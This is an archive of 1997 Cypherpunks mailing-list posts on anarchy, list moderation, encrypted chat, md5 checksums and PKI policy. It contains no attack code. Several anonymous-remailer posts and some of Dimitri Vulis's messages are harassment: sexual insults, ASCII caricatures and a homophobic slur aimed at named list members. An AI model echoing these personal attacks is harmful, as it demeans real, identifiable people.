wizzyh2h at aol.com OR wizzy at juno.com From snow at smoke.suba.com Wed Feb 5 23:17:24 1997 From: snow at smoke.suba.com (snow) Date: Wed, 5 Feb 1997 23:17:24 -0800 (PST) Subject: John's: In anarchy -everyone responsible In-Reply-To: <199702051526.HAA28775@toad.com> Message-ID: <199702060735.BAA00273@smoke.suba.com> > At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote: > >on or about 970204:0312 Greg Broiles said: > >+ Is the desire for an anarchic community at odds with a desire for > >+ good use of resources? > Actually, it is quite possible that an "anarchic community" is _more_ > efficient in the use of resources than some sort of organized community. > It is explained, for example, that the reason there are so many different > kinds of life on earth is that there are so many ecological niches to fill. Good does not necessarily mean efficient, and efficient does not necessarily mean good. Picture--if you can--the "perfect" centrally planned economy where all possible market conditions, wants and needs are taken into account. Factories are placed optimally for access to natural resources and distribution to consumers etc. Also assume that the people running this society _are_ intersted in efficient production methods, and activly look for new and better ways of getting things done--benign facism/socialism if you will. This would (assuming perfect people, but bear with me) be the _most efficient_ method of producing and delivering goods, but it would introduce certain "choke points", one natural disaster or war could cripple production of necessary items. Picture anarchy, massively redundant, and resistent to this problem, while probably not anywhere _near_ as efficient, this "system" would have the ability to absorb damage and adapt more rapidly to changing enviroments. > No, that's traditional thinking and that's wrong. See AP part 8. Freud > believed (as "everyone" else believed, even myself, before AP) that anarchy > was inherently unstable. But it ISN'T, if the tools of AP are used to Stable is a relative thing. Are things stable now? If you think so, you either aren't looking very hard, or you are giving "stable" a wide range. From dthorn at gte.net Wed Feb 5 23:31:47 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 5 Feb 1997 23:31:47 -0800 (PST) Subject: John's: In anarchy -everyone responsible In-Reply-To: <199702051611.JAA25482@infowest.com> Message-ID: <32F9813B.29DC@gte.net> Attila T. Hun wrote: > on or about 970204:2343 jim bell said: > +At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote: > +> In a "popular" anarchy, Jim Bell's assassination politics make > +> perfectly good sense; but, a "popular" anarchy is not an _anarchy_. > +I guess I don't understand the distinction you are trying to make, > +between a "popular anarchy" and an "anarchy." Maybe you were trying > +to distinguish between "dictatorship of the few (or one)" and > +"dictatorship of the many (perhaps a majority)" but it didn't come out > +very understandably. Put simply, "anarchy is not the lack of order. > +It is the lack of _orders_." > disagree. pure anarchy is not the lack of "orders" --pure anarchy > implies that everyone is imbued with that perfect sense of responsibility. I don't know where these implications come from. Start with a primitive example, such as animals in the wild. Is that a perfect anarchy? Where do the differences come in for humans? Are they neo-religious perceptions, which could never find universal agreement? Or are they set in stone, in immutable, universal laws? From dthorn at gte.net Wed Feb 5 23:31:55 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 5 Feb 1997 23:31:55 -0800 (PST) Subject: Moderation [Tim,Sandy] In-Reply-To: Message-ID: <32F98300.78A1@gte.net> Dr.Dimitri Vulis KOTM wrote: > Dale Thorn writes: > > > > The drunk can be excluded, but when someone wants to use the drunk as > > > > an example to escalate the exclusion to other persons who are not in > > > > fact drunk, watch out! > > > If I get really really drunk, which happens very seldom, then I'm > > > too drunk to post. I don't mind an occasional beer, though. > > > Oksas, have you ever tried beer? :-) > > I had my first beer(s) in three years at one of those industrial > > parties last night. It made the craps table action seem a bit > > merrier, and the girls were friendlier too. > I like an occasional Coors Lite. BTW I think Limey Faggots are right about > one think: I like room-temperature beer better than cold beer. YMMV. Interesting coincidence for people on opposite coasts - the bar at the hotel had two choices: Bud regular and Coors light. I took the Coors. From gbroiles at netbox.com Thu Feb 6 00:37:33 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 6 Feb 1997 00:37:33 -0800 (PST) Subject: Deloitte-Touche, e$pam plug, Moderation, Cypherpunks as a cresote bush In-Reply-To: <199702060340.TAA11393@toad.com> Message-ID: <3.0.1.32.19970206001154.006c8e48@mail.io.com> -----BEGIN PGP SIGNED MESSAGE----- At 09:09 PM 2/5/97 -0500, Robert Hettinga wrote: >In the meantime, if you're interested in e$, or financial crypto, or other >stuff I'm interested ("it don't say e$pam until Bob says it says e$pam" >:-)), you might want to check it. I think that Bob's e$ list should be considered a viable alternative to the other two filtered cpunks lists; I recommend it to people looking for a moderated alternative to the list. (I get e$, but use Eudora and procmail to suck out the duplicates where messages are copied from lists I already get.) He also finds a lot of the stuff that used to show up on cpunks but doesn't any more because people have wandered away. I've been meaning to write up a long message explaining why I think I'm about to drop off of the list. It's peculiar to spend a lot of time discussing things with a group of people over the course of several years and then disappear without saying why. But I'm having trouble coming up with anything more profound than "it's not interesting any more." Philosophically, I agree with Lucky - it looks to me like it's time to kill the list and move on to other things. But that's not my choice to make, and perhaps other people can still extract something useful from this. More power to them if they can. I'm starting to think that cpunks may be similar to college, in that it's a good thing for a few years, but if you stick around too long you just get bitter and cranky and frustrated because the new people keep talking about the same old problems. Don't they know we've already talked about that? -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMvmSHP37pMWUJFlhAQGu3Qf/WTpImfcNb4883V2h/JHKsZh1hWR+hrSH e7hgtUAujphktzteZi6NqC47QEQHRIbgT/SRHelDB4lJLPv3TtIN09ZUwK6GWb/F QfmoyPXBVfM5Pt/FqPqtPpXnehC7r71SO0jQ2qKqTrhcuSDYNmOjtCrjK/BIEJ7l mMYcxY7JKBq0H8u1BNzZaMfCkEvDytUejgsevusWGGfkwodUSTon81Kbxmy7Yg2w 3vOmESgMz2Vm2av2bHTYBy3CSy3JzB8m2OPQo+Wang6WJDfvJaDaALGuHgem8PH8 0jCjBww2vEOJ0xj62oQ/mD2heEe+TZZnDZ5ZRynID1wOOm7SOOOeAg== =+SRl -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From usura at replay.com Thu Feb 6 02:34:30 1997 From: usura at replay.com (Alex de Joode) Date: Thu, 6 Feb 1997 02:34:30 -0800 (PST) Subject: pgpmail 4.5 Message-ID: <199702061031.LAA10437@basement.replay.com> Huge Cajones Remailer sez: : you wrote: : There is a pgpmail45.exe at ftp.hacktic.nl/pub/replay/pub/incoming. : The file has an md5 sum of 'ffd56d7647c30152a5c9fe7616a3d9ef'. : i downloaded the same. md5 5ea438501d0133f0849c2fe8f9125b6b : can someone clear this up? [usura at basement]:/pub/ftp/pub/crypto/incoming {22}$ md5 pgpmail45.exe 5ea438501d0133f0849c2fe8f9125b6b pgpmail45.exe -- -AJ- From haystack at holy.cow.net Thu Feb 6 04:46:39 1997 From: haystack at holy.cow.net (Bovine Remailer) Date: Thu, 6 Feb 1997 04:46:39 -0800 (PST) Subject: No Subject Message-ID: <199702061227.HAA13082@holy.cow.net> bite your penis. /_/\/\ \_\ / Tim C[reep] May /_/ \ \_\/\ \ \_\/ From dlv at bwalk.dm.com Thu Feb 6 06:01:46 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 6 Feb 1997 06:01:46 -0800 (PST) Subject: "alt.cypherpunks" people? In-Reply-To: <199702060025.QAA07526@toad.com> Message-ID: "Dr.Dimitri Vulis KOTM" writes: > Anil Das writes: > > > Dr.Dimitri Vulis KOTM wrote: > > > > > > Learn to use an anonymous remailer. > > > > Thanks for the hint, Dr. Vulis. I have registered for a course, but > > seats are available only in fall. > > Toilet seats in the state of free fall? > > The stego on Sandy's moderated list blows my mind... And Sandy blows Sameer, and Greg blows John... --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Thu Feb 6 06:05:09 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 6 Feb 1997 06:05:09 -0800 (PST) Subject: Moderation [Tim,Sandy] In-Reply-To: <32F98300.78A1@gte.net> Message-ID: Dale Thorn writes: > Dr.Dimitri Vulis KOTM wrote: > > Dale Thorn writes: > > > > > > The drunk can be excluded, but when someone wants to use the drunk as > > > > > an example to escalate the exclusion to other persons who are not in > > > > > fact drunk, watch out! > > > > > If I get really really drunk, which happens very seldom, then I'm > > > > too drunk to post. I don't mind an occasional beer, though. > > > > > Oksas, have you ever tried beer? :-) > > > > I had my first beer(s) in three years at one of those industrial > > > parties last night. It made the craps table action seem a bit > > > merrier, and the girls were friendlier too. > > > I like an occasional Coors Lite. BTW I think Limey Faggots are right about > > one think: I like room-temperature beer better than cold beer. YMMV. > > Interesting coincidence for people on opposite coasts - the bar at > the hotel had two choices: Bud regular and Coors light. I took the > Coors. I remember when one had trouble getting Coors in NY: had something to do with their giving $$ to the Nicaragua contras and upsetting the politically correct distributors. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From ben at edelweb.fr Thu Feb 6 06:23:15 1997 From: ben at edelweb.fr (Ben) Date: Thu, 6 Feb 1997 06:23:15 -0800 (PST) Subject: About: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <32FA0461.2252@toad.com> Message-ID: > > > User of the list, has no place to talk. His type, to me, > > > Characterate those who quit something and complain later, > > > Knowing that some people will listen to them. > > > > > > So what, if he decided to leave? It was his own choice > > > And he can't just come back and say everyone who stayed is > > > Now impelled to listen to him, just because he used to > > > Do a bunch of posts. I don't think that hardly any of > > > You would listened to me later if I left the list. > > I write good englich, but I write it verticaly, not horizontaly. > Try reading the above up-to-down, just the first letters of > each line. > It may be kindegarten crypto, but it made it onto the censored > list. Ahh...Sorry for the flame. You're obviously not a native English speaker(the Canadian address belies your origins). Native English speakers however have no right to poor English. PS: The word you want is STILL characterize. Ben. ____ Ben Samman..................................................ben at edelweb.fr Paris, France Illudium Q36 Explosive Space Modulator From winsock at rigel.cyberpass.net Thu Feb 6 06:55:49 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Thu, 6 Feb 1997 06:55:49 -0800 (PST) Subject: [NOISE] Sphere packing Message-ID: <199702061455.GAA24423@toad.com> Dimwit Virus K[rust]OfTheMonth styles his facial hair to look more like pubic hair. (___) (o o)_____/ @@ ` \ Dimwit Virus K[rust]OfTheMonth \ ____, / // // ^^ ^^ From winsock at rigel.cyberpass.net Thu Feb 6 06:55:50 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Thu, 6 Feb 1997 06:55:50 -0800 (PST) Subject: [PGP] Cats out of bags Message-ID: <199702061455.GAA24426@toad.com> Dr.Destitute Violent K[arcinogen]OTM is so in love with himself, he cries out his own name when orgasming. Then again, no one else is ever around. /\ /\ + \______/ + / . . \ < / > Dr.Destitute Violent K[arcinogen]OTM \ \--/ / ------ From WIZZYH2H at aol.com Thu Feb 6 06:55:55 1997 From: WIZZYH2H at aol.com (WIZZYH2H at aol.com) Date: Thu, 6 Feb 1997 06:55:55 -0800 (PST) Subject: Tapping these resources. Message-ID: <199702061455.GAA24445@toad.com> I noticed that there are several programs that will let anyone send encrypted email. What about encrypted messages over a chat system like irc, chat rooms(aol, BBS) and systemwide messages (IM, whisper, private message)? The server wouldn't have to do anything except send the messages, the users software could handel all the protocols and message identification. Dialup and logon features aren't needed either, allmost all cilents will let you shell. I have been looking for, and tring to write a program to do this, but Im a rookie programmer and my attempts have yet to produce a functional send/receive utility. Where are programs like this.. are there any to be found? wizzyh2h at aol.com OR wizzy at juno.com From stewarts at ix.netcom.com Thu Feb 6 06:56:00 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 6 Feb 1997 06:56:00 -0800 (PST) Subject: ITAR and Paper ROM Message-ID: <199702061456.GAA24462@toad.com> At 09:26 AM 2/5/97 -0800, Steve Schear wrote: >I'm not sure if what I did in the 80s, trying to create what I called >'paper ROM, is applicable. [....] >to replace diskettes for inexpensive mass data distribution. > Although a technical success, I abandoned the effort >when I discovered someone had patented (4,488,679) something similar a >few years earlier. Yeah, our patent office is so helpful - granting a patent for "Storage of Information By Making Marks On Paper" :-) You'd think they'd recognize a few thousand years of prior art..... Xerox also has a similar patent; their method uses little diagonals to encode data in. ///\\\/// It really _isn't_ called "cuneform". More practically, sort of, there was the Cauzin Softstrip Reader, which cost about $200 and held enough data to distribute programs back when computers and programs were much smaller; a few PC magazines tried distributing programs by printing them in the back that way. Cute, but not cute enough to stick around very long. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From dthorn at gte.net Thu Feb 6 06:56:01 1997 From: dthorn at gte.net (Dale Thorn) Date: Thu, 6 Feb 1997 06:56:01 -0800 (PST) Subject: Moderation [Tim,Sandy] Message-ID: <199702061456.GAA24463@toad.com> Dr.Dimitri Vulis KOTM wrote: > Dale Thorn writes: > > > > The drunk can be excluded, but when someone wants to use the drunk as > > > > an example to escalate the exclusion to other persons who are not in > > > > fact drunk, watch out! > > > If I get really really drunk, which happens very seldom, then I'm > > > too drunk to post. I don't mind an occasional beer, though. > > > Oksas, have you ever tried beer? :-) > > I had my first beer(s) in three years at one of those industrial > > parties last night. It made the craps table action seem a bit > > merrier, and the girls were friendlier too. > I like an occasional Coors Lite. BTW I think Limey Faggots are right about > one think: I like room-temperature beer better than cold beer. YMMV. Interesting coincidence for people on opposite coasts - the bar at the hotel had two choices: Bud regular and Coors light. I took the Coors. From dthorn at gte.net Thu Feb 6 06:56:02 1997 From: dthorn at gte.net (Dale Thorn) Date: Thu, 6 Feb 1997 06:56:02 -0800 (PST) Subject: John's: In anarchy -everyone responsible Message-ID: <199702061456.GAA24464@toad.com> Attila T. Hun wrote: > on or about 970204:2343 jim bell said: > +At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote: > +> In a "popular" anarchy, Jim Bell's assassination politics make > +> perfectly good sense; but, a "popular" anarchy is not an _anarchy_. > +I guess I don't understand the distinction you are trying to make, > +between a "popular anarchy" and an "anarchy." Maybe you were trying > +to distinguish between "dictatorship of the few (or one)" and > +"dictatorship of the many (perhaps a majority)" but it didn't come out > +very understandably. Put simply, "anarchy is not the lack of order. > +It is the lack of _orders_." > disagree. pure anarchy is not the lack of "orders" --pure anarchy > implies that everyone is imbued with that perfect sense of responsibility. I don't know where these implications come from. Start with a primitive example, such as animals in the wild. Is that a perfect anarchy? Where do the differences come in for humans? Are they neo-religious perceptions, which could never find universal agreement? Or are they set in stone, in immutable, universal laws? From snow at smoke.suba.com Thu Feb 6 06:56:06 1997 From: snow at smoke.suba.com (snow) Date: Thu, 6 Feb 1997 06:56:06 -0800 (PST) Subject: John's: In anarchy -everyone responsible Message-ID: <199702061456.GAA24469@toad.com> > At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote: > >on or about 970204:0312 Greg Broiles said: > >+ Is the desire for an anarchic community at odds with a desire for > >+ good use of resources? > Actually, it is quite possible that an "anarchic community" is _more_ > efficient in the use of resources than some sort of organized community. > It is explained, for example, that the reason there are so many different > kinds of life on earth is that there are so many ecological niches to fill. Good does not necessarily mean efficient, and efficient does not necessarily mean good. Picture--if you can--the "perfect" centrally planned economy where all possible market conditions, wants and needs are taken into account. Factories are placed optimally for access to natural resources and distribution to consumers etc. Also assume that the people running this society _are_ intersted in efficient production methods, and activly look for new and better ways of getting things done--benign facism/socialism if you will. This would (assuming perfect people, but bear with me) be the _most efficient_ method of producing and delivering goods, but it would introduce certain "choke points", one natural disaster or war could cripple production of necessary items. Picture anarchy, massively redundant, and resistent to this problem, while probably not anywhere _near_ as efficient, this "system" would have the ability to absorb damage and adapt more rapidly to changing enviroments. > No, that's traditional thinking and that's wrong. See AP part 8. Freud > believed (as "everyone" else believed, even myself, before AP) that anarchy > was inherently unstable. But it ISN'T, if the tools of AP are used to Stable is a relative thing. Are things stable now? If you think so, you either aren't looking very hard, or you are giving "stable" a wide range. From dthorn at gte.net Thu Feb 6 07:09:11 1997 From: dthorn at gte.net (Dale Thorn) Date: Thu, 6 Feb 1997 07:09:11 -0800 (PST) Subject: Deloitte-Touche, e$pam plug, Moderation, Cypherpunks as a cresote bush In-Reply-To: <3.0.1.32.19970206001154.006c8e48@mail.io.com> Message-ID: <32F9F3C2.5922@gte.net> Greg Broiles wrote: > At 09:09 PM 2/5/97 -0500, Robert Hettinga wrote: > I've been meaning to write up a long message explaining why I think I'm about > to drop off of the list. It's peculiar to spend a lot of time discussing > things with a group of people over the course of several years and then > disappear without saying why. But I'm having trouble coming up with anything > more profound than "it's not interesting any more." Philosophically, I agree > with Lucky - it looks to me like it's time to kill the list and move on to > other things. But that's not my choice to make, and perhaps other people can > still extract something useful from this. More power to them if they can. > I'm starting to think that cpunks may be similar to college, in that it's a > good thing for a few years, but if you stick around too long you just get > bitter and cranky and frustrated because the new people keep talking about > the same old problems. Don't they know we've already talked about that? But college continues because it wasn't designed for just one group of people of one time period. It was designed for everyone, and to evolve to meet future need. If the c-punks list were to survive, it too would have to evolve to meet future needs, and that evolution would be sure to disappoint a lot of the older crowd. The big difference here is that college is far from cutting edge in anything, and the list is (or could be) cutting edge. But nearly everyone so far has acknowledged that, despite improvement in signal- to-noise on the moderated list, the factor of external control has also removed much of what was interesting. Remove the control and incorporate the best of the suggestions that have been made so far, and some of that interest may return. Perhaps more importantly, if the principals could see their way to mend some fences along the way, that would restore even more confidence in the list. From haystack at holy.cow.net Thu Feb 6 07:10:48 1997 From: haystack at holy.cow.net (Bovine Remailer) Date: Thu, 6 Feb 1997 07:10:48 -0800 (PST) Subject: No Subject Message-ID: <199702061510.HAA24867@toad.com> bite your penis. /_/\/\ \_\ / Tim C[reep] May /_/ \ \_\/\ \ \_\/ From usura at replay.com Thu Feb 6 07:10:58 1997 From: usura at replay.com (Alex de Joode) Date: Thu, 6 Feb 1997 07:10:58 -0800 (PST) Subject: pgpmail 4.5 Message-ID: <199702061510.HAA24879@toad.com> Huge Cajones Remailer sez: : you wrote: : There is a pgpmail45.exe at ftp.hacktic.nl/pub/replay/pub/incoming. : The file has an md5 sum of 'ffd56d7647c30152a5c9fe7616a3d9ef'. : i downloaded the same. md5 5ea438501d0133f0849c2fe8f9125b6b : can someone clear this up? [usura at basement]:/pub/ftp/pub/crypto/incoming {22}$ md5 pgpmail45.exe 5ea438501d0133f0849c2fe8f9125b6b pgpmail45.exe -- -AJ- From dlv at bwalk.dm.com Thu Feb 6 07:11:09 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 6 Feb 1997 07:11:09 -0800 (PST) Subject: "alt.cypherpunks" people? Message-ID: <199702061511.HAA24915@toad.com> "Dr.Dimitri Vulis KOTM" writes: > Anil Das writes: > > > Dr.Dimitri Vulis KOTM wrote: > > > > > > Learn to use an anonymous remailer. > > > > Thanks for the hint, Dr. Vulis. I have registered for a course, but > > seats are available only in fall. > > Toilet seats in the state of free fall? > > The stego on Sandy's moderated list blows my mind... And Sandy blows Sameer, and Greg blows John... --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From ben at EdelWeb.fr Thu Feb 6 07:11:11 1997 From: ben at EdelWeb.fr (Ben) Date: Thu, 6 Feb 1997 07:11:11 -0800 (PST) Subject: About: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702061511.HAA24925@toad.com> > > > User of the list, has no place to talk. His type, to me, > > > Characterate those who quit something and complain later, > > > Knowing that some people will listen to them. > > > > > > So what, if he decided to leave? It was his own choice > > > And he can't just come back and say everyone who stayed is > > > Now impelled to listen to him, just because he used to > > > Do a bunch of posts. I don't think that hardly any of > > > You would listened to me later if I left the list. > > I write good englich, but I write it verticaly, not horizontaly. > Try reading the above up-to-down, just the first letters of > each line. > It may be kindegarten crypto, but it made it onto the censored > list. Ahh...Sorry for the flame. You're obviously not a native English speaker(the Canadian address belies your origins). Native English speakers however have no right to poor English. PS: The word you want is STILL characterize. Ben. ____ Ben Samman..................................................ben at edelweb.fr Paris, France Illudium Q36 Explosive Space Modulator From dlv at bwalk.dm.com Thu Feb 6 07:11:15 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 6 Feb 1997 07:11:15 -0800 (PST) Subject: Moderation [Tim,Sandy] Message-ID: <199702061511.HAA24936@toad.com> Dale Thorn writes: > Dr.Dimitri Vulis KOTM wrote: > > Dale Thorn writes: > > > > > > The drunk can be excluded, but when someone wants to use the drunk as > > > > > an example to escalate the exclusion to other persons who are not in > > > > > fact drunk, watch out! > > > > > If I get really really drunk, which happens very seldom, then I'm > > > > too drunk to post. I don't mind an occasional beer, though. > > > > > Oksas, have you ever tried beer? :-) > > > > I had my first beer(s) in three years at one of those industrial > > > parties last night. It made the craps table action seem a bit > > > merrier, and the girls were friendlier too. > > > I like an occasional Coors Lite. BTW I think Limey Faggots are right about > > one think: I like room-temperature beer better than cold beer. YMMV. > > Interesting coincidence for people on opposite coasts - the bar at > the hotel had two choices: Bud regular and Coors light. I took the > Coors. I remember when one had trouble getting Coors in NY: had something to do with their giving $$ to the Nicaragua contras and upsetting the politically correct distributors. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From gbroiles at netbox.com Thu Feb 6 07:11:16 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 6 Feb 1997 07:11:16 -0800 (PST) Subject: Deloitte-Touche, e$pam plug, Moderation, Cypherpunks as a cresote bush Message-ID: <199702061511.HAA24942@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 09:09 PM 2/5/97 -0500, Robert Hettinga wrote: >In the meantime, if you're interested in e$, or financial crypto, or other >stuff I'm interested ("it don't say e$pam until Bob says it says e$pam" >:-)), you might want to check it. I think that Bob's e$ list should be considered a viable alternative to the other two filtered cpunks lists; I recommend it to people looking for a moderated alternative to the list. (I get e$, but use Eudora and procmail to suck out the duplicates where messages are copied from lists I already get.) He also finds a lot of the stuff that used to show up on cpunks but doesn't any more because people have wandered away. I've been meaning to write up a long message explaining why I think I'm about to drop off of the list. It's peculiar to spend a lot of time discussing things with a group of people over the course of several years and then disappear without saying why. But I'm having trouble coming up with anything more profound than "it's not interesting any more." Philosophically, I agree with Lucky - it looks to me like it's time to kill the list and move on to other things. But that's not my choice to make, and perhaps other people can still extract something useful from this. More power to them if they can. I'm starting to think that cpunks may be similar to college, in that it's a good thing for a few years, but if you stick around too long you just get bitter and cranky and frustrated because the new people keep talking about the same old problems. Don't they know we've already talked about that? -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMvmSHP37pMWUJFlhAQGu3Qf/WTpImfcNb4883V2h/JHKsZh1hWR+hrSH e7hgtUAujphktzteZi6NqC47QEQHRIbgT/SRHelDB4lJLPv3TtIN09ZUwK6GWb/F QfmoyPXBVfM5Pt/FqPqtPpXnehC7r71SO0jQ2qKqTrhcuSDYNmOjtCrjK/BIEJ7l mMYcxY7JKBq0H8u1BNzZaMfCkEvDytUejgsevusWGGfkwodUSTon81Kbxmy7Yg2w 3vOmESgMz2Vm2av2bHTYBy3CSy3JzB8m2OPQo+Wang6WJDfvJaDaALGuHgem8PH8 0jCjBww2vEOJ0xj62oQ/mD2heEe+TZZnDZ5ZRynID1wOOm7SOOOeAg== =+SRl -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From sandfort at crl.com Thu Feb 6 07:12:56 1997 From: sandfort at crl.com (Sandy Sandfort) Date: Thu, 6 Feb 1997 07:12:56 -0800 (PST) Subject: About: My Departure, Moderation, and "Ownership of the List" In-Reply-To: Message-ID: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, On Thu, 6 Feb 1997, Ben wrote: > > > > User of the list, has no place to talk. His type, to me, > > > > Characterate those who quit something and complain later, > > > > Knowing that some people will listen to them. > > > > > > > > So what, if he decided to leave? It was his own choice > > > > And he can't just come back and say everyone who stayed is > > > > Now impelled to listen to him, just because he used to > > > > Do a bunch of posts. I don't think that hardly any of > > > > You would listened to me later if I left the list. > > > > I write good englich, but I write it verticaly, not horizontaly. > > Try reading the above up-to-down, just the first letters of > > each line. > > It may be kindegarten crypto, but it made it onto the censored > > list. Touche! S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From froomkin at law.miami.edu Thu Feb 6 07:43:02 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Thu, 6 Feb 1997 07:43:02 -0800 (PST) Subject: [RRE FWD] PKI: 10 Public Policy Questions In-Reply-To: <199702060542.VAA13795@toad.com> Message-ID: For a more, um, nuanced view see http://www.law.miami.edu/~froomkin/articles/trusted.htm == The above may have been dictated via Dragon Dictate 2.51 voice recognition. Please be alert for unintentional word substitutions. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From sandfort at crl4.crl.com Thu Feb 6 07:55:46 1997 From: sandfort at crl4.crl.com (Sandy Sandfort) Date: Thu, 6 Feb 1997 07:55:46 -0800 (PST) Subject: About: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702061555.HAA25504@toad.com> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, On Thu, 6 Feb 1997, Ben wrote: > > > > User of the list, has no place to talk. His type, to me, > > > > Characterate those who quit something and complain later, > > > > Knowing that some people will listen to them. > > > > > > > > So what, if he decided to leave? It was his own choice > > > > And he can't just come back and say everyone who stayed is > > > > Now impelled to listen to him, just because he used to > > > > Do a bunch of posts. I don't think that hardly any of > > > > You would listened to me later if I left the list. > > > > I write good englich, but I write it verticaly, not horizontaly. > > Try reading the above up-to-down, just the first letters of > > each line. > > It may be kindegarten crypto, but it made it onto the censored > > list. Touche! S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From dthorn at gte.net Thu Feb 6 07:55:51 1997 From: dthorn at gte.net (Dale Thorn) Date: Thu, 6 Feb 1997 07:55:51 -0800 (PST) Subject: Deloitte-Touche, e$pam plug, Moderation, Cypherpunks as a cresote bush Message-ID: <199702061555.HAA25512@toad.com> Greg Broiles wrote: > At 09:09 PM 2/5/97 -0500, Robert Hettinga wrote: > I've been meaning to write up a long message explaining why I think I'm about > to drop off of the list. It's peculiar to spend a lot of time discussing > things with a group of people over the course of several years and then > disappear without saying why. But I'm having trouble coming up with anything > more profound than "it's not interesting any more." Philosophically, I agree > with Lucky - it looks to me like it's time to kill the list and move on to > other things. But that's not my choice to make, and perhaps other people can > still extract something useful from this. More power to them if they can. > I'm starting to think that cpunks may be similar to college, in that it's a > good thing for a few years, but if you stick around too long you just get > bitter and cranky and frustrated because the new people keep talking about > the same old problems. Don't they know we've already talked about that? But college continues because it wasn't designed for just one group of people of one time period. It was designed for everyone, and to evolve to meet future need. If the c-punks list were to survive, it too would have to evolve to meet future needs, and that evolution would be sure to disappoint a lot of the older crowd. The big difference here is that college is far from cutting edge in anything, and the list is (or could be) cutting edge. But nearly everyone so far has acknowledged that, despite improvement in signal- to-noise on the moderated list, the factor of external control has also removed much of what was interesting. Remove the control and incorporate the best of the suggestions that have been made so far, and some of that interest may return. Perhaps more importantly, if the principals could see their way to mend some fences along the way, that would restore even more confidence in the list. From froomkin at law.miami.edu Thu Feb 6 08:10:45 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Thu, 6 Feb 1997 08:10:45 -0800 (PST) Subject: [RRE FWD] PKI: 10 Public Policy Questions Message-ID: <199702061610.IAA25713@toad.com> For a more, um, nuanced view see http://www.law.miami.edu/~froomkin/articles/trusted.htm == The above may have been dictated via Dragon Dictate 2.51 voice recognition. Please be alert for unintentional word substitutions. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From jya at pipeline.com Thu Feb 6 08:21:56 1997 From: jya at pipeline.com (John Young) Date: Thu, 6 Feb 1997 08:21:56 -0800 (PST) Subject: NOW_ire Message-ID: <1.5.4.32.19970206161614.006d1f2c@pop.pipeline.com> 2-5-97: "FCC Bandwidth Forum Panelist Says Wireless Is Potential 'Wild Card' in Planning for Future Broadband Access" Suggests that wireless is the better than wire, cable, or satellite for future communications by bypassing their technological and environmental limitations. "GTE Wireless Launches Long-Anticipated CS-CDPD Service; Other Cellular Carriers Continue to Reject Hybrid Approach" A variation from CDMA and TDMA. ----- NOW_ire And the FCC Broadband Forum report cited in the first article at: http://jya.com/fcc970123.htm (322K) From dlv at bwalk.dm.com Thu Feb 6 08:41:09 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 6 Feb 1997 08:41:09 -0800 (PST) Subject: Cypherpunks spread chain letters In-Reply-To: <199702061331.IAA02343@dub-mail-svc-1.compuserve.com> Message-ID: Now the punks are sending me "good luck" letters... What a bunch of losers. No wonder they bend over for Gilmore. > St. Jude > > Kiss someone you love when you get this letter and make magic. This > paper was sent to you for good luck. The original copy is in New England. I > has been around the world nine times. The Luck has been sent to you. You 